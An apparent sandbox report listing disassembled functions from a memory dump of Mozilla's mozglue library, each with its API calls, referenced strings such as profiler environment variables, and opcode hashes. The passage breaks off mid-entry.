Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction ID: 0521385bd8c7ea6e43ac81d2fb2d5063f435becff39df1a8d1820f12b5f8d9bd
Opcode Fuzzy Hash: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction Fuzzy Hash: 6A21F371A04615ABDB00CF69CC40BABBBB9FF92308F284029E818DB341E776D915C7A1

Function 6C93B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C93B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C93B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C93B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C93B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93B849

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 68eab9b600c180a05db1b0374b737d72ed246553ff545066ce4a15b29570ee88
Instruction ID: 5537d8d399b74fa97b6481c133032d92c6331eb26de23c9e8219d4c33bca2e7a
Opcode Fuzzy Hash: 68eab9b600c180a05db1b0374b737d72ed246553ff545066ce4a15b29570ee88
Instruction Fuzzy Hash: 71215EB0E042199FDF04DFA9C8855BFBBB4EF49314F148169ED09A7741E731A944CBA0

Function 6C996E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C996E78

Part of subcall function 6C996A10: InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996A68
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996A7D
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996AA1
Part of subcall function 6C996A10: EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996AAE
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996AE1
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996B15
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C996B65
Part of subcall function 6C996A10: LeaveCriticalSection.KERNEL32(6C9BF618,?,?), ref: 6C996B83

MozFormatCodeAddress.MOZGLUE ref: 6C996EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C996EFF

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction ID: d1a331e53398c026d813ce98a213ee920f97014a81797a4e9ff836becd81115f
Opcode Fuzzy Hash: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction Fuzzy Hash: 3021A171A0821A9FDB00DF69D8C5A9F77F9EF88348F044039E80997241EB749A58CF96

Function 6C9976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C997705

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C997717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C99778F,00000000,00000000,00000000,00000000), ref: 6C997731
free.MOZGLUE(00000000), ref: 6C997760

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction ID: 69a5114d327dee6793e41c21edd8345b07096d92543ce9dfcb0747af770b4f1f
Opcode Fuzzy Hash: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction Fuzzy Hash: 8B11B2B1904215ABE710AFB68C44BAFBEF8EF59754F144429F848A7300E771985487E2

Function 6C970D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C933DEF), ref: 6C970D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C933DEF), ref: 6C970D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C933DEF), ref: 6C970DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C970D97, 6C970DBE
<jemalloc>, xrefs: 6C970D92, 6C970DB9

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction ID: 21091fc238dceb91e87bba81a506328cf09b7a9c1031a34f474b65ad3a2f2951
Opcode Fuzzy Hash: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction Fuzzy Hash: 76F0897139639433E73021665D0AB5B266DB7C6B65F345035F204EE9C0DAA5E8104AB9

Function 6C987620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9875C4,?), ref: 6C98762B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987644
GetCurrentThreadId.KERNEL32 ref: 6C98765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987677

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction ID: 94f4b069cc32141e7f95fd3415cd06e4f4d5e3644e610fe8e3e34971cbe87060
Opcode Fuzzy Hash: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction Fuzzy Hash: 89F0C271E14745AFD7008F21C888676B778FFEA259F21431AF90543651E7B0B5D08BD0

Function 6C991700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C991800

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9918C7
Details, xrefs: 6C991925
name, xrefs: 6C991939

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 8669900055caacd4eaeb12abc0718d24918cb395ccc93c2c951d4d878b8135cc
Instruction ID: b0cde56b54c111f17daeb0521cda1f38a0e0123c470b6779913150e1543e0204
Opcode Fuzzy Hash: 8669900055caacd4eaeb12abc0718d24918cb395ccc93c2c951d4d878b8135cc
Instruction Fuzzy Hash: CB713570A00306AFDB04CF28D0507AABBB5FF96304F144669D8195BB41D770F6A8CBE1

Function 6C99B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010,00000000,?,?,6C99AB1F), ref: 6C99B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010,00000000,?), ref: 6C99B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010), ref: 6C99B25F

Strings

map/set<T> too long, xrefs: 6C99B1FA

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 07d355ee0ea346ee174be3efb3b7496c8e05961ff1f9adb144fe78c086f07827
Instruction ID: 1abe48346a6e43d005afdb640d1e2cf33d03ae3cd50109d092fc2a692066fd8d
Opcode Fuzzy Hash: 07d355ee0ea346ee174be3efb3b7496c8e05961ff1f9adb144fe78c086f07827
Instruction Fuzzy Hash: 736198346042458FD721CF19C880A9ABBF5FF5A318F2CC599D8598BB52C339ED45CBA1

Function 6C95D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D751

Strings

MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction ID: 8bf216e04aee48e14e3771ef73b27ef7c060cb3fd841098f79c14ad258438406
Opcode Fuzzy Hash: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction Fuzzy Hash: 3A51D076A087019FD724CF29C1D461AB7E5EB89708FA44A2EE59AC7F84D770E810CB91

Function 6C984630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Strings

., xrefs: 6C98476A
profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction ID: 7fee2446849189629099b30f98879efa2b0cd886cb06651aaaa337ae2cb42076
Opcode Fuzzy Hash: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction Fuzzy Hash: EA413971A097089BCB08DF79E86115EBBF9EF95744F208A3EE85957B81EB30D8448B41

Function 6C9A9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9A985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9A987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9A98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9A98D9

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: a5f27f1c8d34f521f024023a885a56668860601629c1317802e2d3dd6099ee57
Instruction ID: 925a7ca3537632d4dda09f1cfbe20ce7d59b10c45cbcf2dafef56acdf55d2e46
Opcode Fuzzy Hash: a5f27f1c8d34f521f024023a885a56668860601629c1317802e2d3dd6099ee57
Instruction Fuzzy Hash: 7D313A75B002086FDF049F69D8549EF77A8DF98718F50446DEA069BB80DB31D905CBD1

Function 6C9846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Part of subcall function 6C934410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C973EBD,00000017,?,00000000,?,6C973EBD,?,?,6C9342D2), ref: 6C934444

Strings

., xrefs: 6C98476A
profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction ID: 7627e065fe68f4e793dee1083319bb91a2ce6337b6d268f8c103f9546b1f50eb
Opcode Fuzzy Hash: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction Fuzzy Hash: 19315771F053085BCB08CF6DD8912AEBBEADF98714F15853EE8059BB81EB74D8048B90

Function 6C98B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C98B127), ref: 6C98B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C98B4E4

Strings

pid:, xrefs: 6C98B4DE

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction ID: 451101018947e32e92d9770780c208937fedc87ec77bab94bd7f57f2d92d72bc
Opcode Fuzzy Hash: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction Fuzzy Hash: E5310531A02209DBDB00DFB9DC81AEEB7B9FF55318F580929D91167B81D731E849CBA1

Function 6C97E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97E577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E584
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C97E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C97E826, 6C97E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C97E777
MOZ_PROFILER_STARTUP, xrefs: 6C97E5A1, 6C97E5CC, 6C97E5FF, 6C97E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C97E722, 6C97E750, 6C97E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C97E655

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction ID: 397d83568749ca53ffbe4f30954e025b36b5e638b65546ff93ac28cba8bc7c5c
Opcode Fuzzy Hash: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction Fuzzy Hash: EB118E39608258EFCB109F18C448A9BFBB9FB8972CF610519F84557A50D774E804CBD9

Function 6C980C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980CD5

Part of subcall function 6C96F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C96F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980D40
free.MOZGLUE ref: 6C980DCB

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

free.MOZGLUE ref: 6C980DDD
free.MOZGLUE ref: 6C980DF2

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction ID: f50e69225061e9f4b5eb919f6f096e6a396803521d116908dc9f2f15e868cbdc
Opcode Fuzzy Hash: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction Fuzzy Hash: 7B412571A0A7849BD320CF29C08079EFBE5BF99714F519A2EE8D887B51D770E445CB82

Function 6C970800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C97084C
EnterCriticalSection.KERNEL32(?), ref: 6C9708AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9708BD
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9708D5

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fbd08dff25fad144c0dff14e14f101f5f7d44befd925a40e17e18a5949420af1
Instruction ID: dbcf215c06d6a3b90dbe47c863ddcfe1142f6ba471e87eb1af29f1fd01e98540
Opcode Fuzzy Hash: fbd08dff25fad144c0dff14e14f101f5f7d44befd925a40e17e18a5949420af1
Instruction Fuzzy Hash: C121C130B06249ABEB148F658884BEB737DBF44708F6005A8E509E7A41DB37E8048BE4

Function 6C98CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDA4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

